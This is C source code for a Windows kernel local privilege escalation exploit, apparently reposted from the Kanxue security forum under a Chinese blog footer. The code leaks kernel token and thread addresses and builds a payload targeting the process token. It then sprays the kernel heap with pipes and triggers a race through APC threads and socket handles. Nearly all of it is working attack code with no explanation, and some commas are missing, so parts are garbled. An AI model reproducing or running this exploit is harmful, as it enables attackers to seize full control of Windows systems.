LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe"NULL, DONT_RESOLVE_DLL_REFERENCES); if(KernelBase == NULL){ printf("[-] Failed to Load ntoskrnl.exe2\n"); return 0;     }     LPVOID UserFuncAddr2 = GetProcAddress(UserBase2, "xHalTimerWatchdogStop"); if(KernelBase == NULL){ printf("[-] Failed to Get Process Address2\n"); return 0;     }  printf("[+] UserBase2 [%p], UserFuncAddr2 [%p]\n", UserBase2, UserFuncAddr2);  FreeLibrary(UserBase2);      DWORD64 offset2 = (DWORD64)UserFuncAddr2 - (DWORD64)UserBase2;     DWORD64 xHalTimerWatchdogStop_addr = KernelBase + offset; printf("[+] Successfully Found xHalTimerWatchdogStop Addr[%p]\n", xHalTimerWatchdogStop_addr);      DWORD64 Linked_List_Entry = thread_addr + 0xA8;  char payload[0x120 - 0x48]; memset(payload, '0'0x120 - 0x48);      *(DWORD64*)(payload + 0x0)  = 0x41414141414141;     *(DWORD64*)(payload + 0x8)  = 0x12121212;     *(DWORD64*)(payload + 0x10) = Linked_List_Entry;     *(DWORD64*)(payload + 0x18) = Linked_List_Entry;      *(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;     *(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x40) = 0x4040404040404040;     *(DWORD64*)(payload + 0x48) = TokenObj;  for (int i = 0; i < 0x70; i++){         HANDLE readPipe;         HANDLE writePipe;         DWORD resultLength = 0;          BOOL res = CreatePipe(&readPipe, &writePipe, NULLsizeof(payload)); if (!res){ printf("[-] Error Creating Pipe\n"); return 0;         }         res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);     }  return 1;      }  intmain() {  // NtQuerySystemInformation_p = (NtQuerySystemInformation_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQuerySystemInformation");      sync_for_thread1 = CreateEvent(0000);     sync_for_thread2 = CreateEvent(0000);     signal_for_LPE = CreateEvent(0000);      DWORD PID = GetCurrentProcessId();      HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if (proc_handle == NULL) { printf("[-] Error Getting Process Handle\n"); return -1;     }     HANDLE hToken = 0;     BOOL stat = OpenProcessToken(proc_handle, TOKEN_ADJUST_PRIVILEGES, &hToken); if(stat == FALSE){ printf("[-] Failed to Open Process Token\n"); return -1;     }     DWORD64 TokenObj = GetKernelPointer(hToken, TOKEN_TYPE);  if(TokenObj == ERR_DONT_FIND_TARGET){ printf("[-] Failed to find Token Obj\n"); return -1;     }  if(TokenObj == ERR_LENGTH_MISMATCH){ printf("[-] Length Mismatched Again\n"); return -1;     }      NtWriteFile = (NtWriteFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteFile");     NtTestAlert = (NtTestAlert_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert");      HANDLE hAPCThread1 = CreateThread(00, APCThread_1, 000); if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1){ printf("[-] Error CreateThread1\n"); return -1;     }     HANDLE hAPCThread2 = CreateThread(00, APCThread_2, 000); if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread1){ printf("[-] Error CreateThread2\n"); return -1;     } WaitForSingleObject(sync_for_thread1, -1); WaitForSingleObject(sync_for_thread2, -1);      HANDLE procHandle = CreateProcessFileHandle(hAPCThread1);     HANDLE sockHandle = CreateSocketFileHandle(procHandle); printf("[+] Successfully to Get procHandle[%d], socketHandle[%d]\n", procHandle, sockHandle);      DWORD64 thread_addr1 = GetKernelPointer(hAPCThread1, 0x8);     DWORD64 thread_addr2 = GetKernelPointer(hAPCThread2, 0x8); printf("[+] Successfully to Get threadAddr1[%p], threadAddr2[%p]\n", thread_addr1, thread_addr2);   char* readBuffer = (char*)malloc(0x100);     DWORD bytesRead = 0;     IO_STATUS_BLOCK io;     LARGE_INTEGER byteOffset;     byteOffset.HighPart = 0;     byteOffset.LowPart = 0;     byteOffset.QuadPart = 0;     byteOffset.u.LowPart = 0;     byteOffset.u.HighPart = 0;     ULONG key = 0;  CloseHandle(procHandle);  // present字段     NTSTATUS ret = NtWriteFile(sockHandle, 000, &io, readBuffer, 0x100, &byteOffset, &key); CloseHandle(sockHandle); if(!HeapSpray(thread_addr1, TokenObj - 8 + 0x40)){ printf("Heap Spray Error!");     }     signal_for_trigger1 = 1; Sleep(0x20);   // enable字段     HANDLE procHandle2 = CreateProcessFileHandle(hAPCThread2);     HANDLE sockHandle2 = CreateSocketFileHandle(procHandle2); printf("[+] Successfully to Get procHandle2[%d], socketHandle2[%d]\n", procHandle2, sockHandle2); char* readBuffer2 = (char*)malloc(0x100);     DWORD bytesRead2 = 0;     IO_STATUS_BLOCK io2;     LARGE_INTEGER byteOffset2;     byteOffset2.HighPart = 0;     byteOffset2.LowPart = 0;     byteOffset2.QuadPart = 0;     byteOffset2.u.LowPart = 0;     byteOffset2.u.HighPart = 0;     ULONG key2 = 0;  CloseHandle(procHandle2);      NTSTATUS ret2 = NtWriteFile(sockHandle2, 000, &io2, readBuffer2, 0x100, &byteOffset2, &key2); CloseHandle(sockHandle2);  if(!HeapSpray(thread_addr2, TokenObj + 0x40)){ printf("Heap Spray2 Error!");     }     signal_for_trigger2 = 1;  // CreateCmd();  WaitForSingleObject(signal_for_LPE, -1); ExitProcess(0);  return 0; }


文章来源:看雪社区


© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容